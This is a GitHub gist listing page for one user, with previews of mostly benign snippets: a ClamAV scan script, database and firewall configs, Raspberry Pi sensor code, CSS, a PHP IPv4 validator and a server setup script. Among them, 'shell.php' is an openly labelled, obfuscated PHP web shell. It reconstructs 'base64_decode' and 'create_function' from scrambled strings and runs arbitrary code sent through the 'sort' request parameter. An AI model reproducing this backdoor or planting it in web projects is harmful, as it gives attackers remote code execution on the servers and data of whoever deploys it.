Skip to content

Instantly share code, notes, and snippets.

Zero Huang johnroyer

Block or report user

Report or block johnroyer

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@johnroyer
johnroyer / virus-scan-clamav.sh
Last active Oct 29, 2018
scan virus in whole system by clamav (clamscan) and save log by date
View virus-scan-clamav.sh
#!/usr/bin/env bash
DATE=`date '+%Y-%m-%d'`
LOG_PATH="/var/log/clamav"
# create log folder
mkdir -p $LOG_PATH
clamscan -i -r / 2>&1 | tee "$LOG_PATH/$DATE.log"
@johnroyer
johnroyer / shell.php
Created Jul 23, 2018
PHP web shell / backdoor
View shell.php
<?php
$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();
@johnroyer
johnroyer / percona-server-5.7.cnf
Created Dec 24, 2017
percona-server-5.7 config template
View percona-server-5.7.cnf
[client]
default-character-set = utf8mb4
[mysql]
[mysqld]
user = mysql
pid-file = /var/run/mysqld/mysqld.pid
@johnroyer
johnroyer / detect.py
Created Dec 12, 2017
RPi + PIR sensor scan + LED output
View detect.py
import RPi.GPIO as GPIO
import time
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BOARD)
# LED
GPIO.setup(3, GPIO.OUT)
# PIR sensor
@johnroyer
johnroyer / main.css
Created Nov 16, 2017
dark-theme for "Just Read" Chrome extension
View main.css
@font-face {
font-family: 'Source Sans Pro Semibold';
src: url("chrome-extension://dgmanlpmmkibanfdgjocnabmcaclkmod/fonts/SourceSansPro-Semibold.ttf");
}
@font-face {
font-family: 'Source Sans Pro Bold';
src: url("chrome-extension://dgmanlpmmkibanfdgjocnabmcaclkmod/fonts/SourceSansPro-Bold.ttf");
}
@font-face {
font-family: 'Source Sans Pro Light';
@johnroyer
johnroyer / pure-config.php
Created Sep 15, 2017
env-config-comparison
View pure-config.php
<?php
$valid = [
'production' => '10.0.1.0/24',
'stage' => '10.0.1.0/24', // 和 production 重複
'dev' => '192.168.1.0/24',
];
@johnroyer
johnroyer / CapLocks2Ctrl.reg
Created Jul 13, 2017
Change CapsLocks to Ctrl for windows 7/10
View CapLocks2Ctrl.reg
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,02,00,00,00,1d,00,3a,00,00,00,00,00
@johnroyer
johnroyer / IPv4.php
Last active Jul 5, 2017
simple IPv4 checker (CIDR included)
View IPv4.php
<?php
declare(strict_types=1);
class IPv4
{
/**
* Check if input is a valid IPv4 address
*
* A valid IPv4 address is presents like `192.168.1.1`
@johnroyer
johnroyer / resilio-sync
Created May 5, 2017
Resilio Sync config for ufw app
View resilio-sync
[ResilioSync]
title=Resilio Sync using Bittorent protocol
description=Sync data easily between devices
ports=3000/tcp|1900/udp|58610/udp|3838/udp|19717/tcp|50443/udp
@johnroyer
johnroyer / init.sh
Created May 3, 2017
vultr startup script for Ubuntu16.04 php developer
View init.sh
#!/bin/sh
# time zone
timedatectl set-timezone Asia/Taipei
# user configure
mkdir -p /root/.ssh
You can’t perform that action at this time.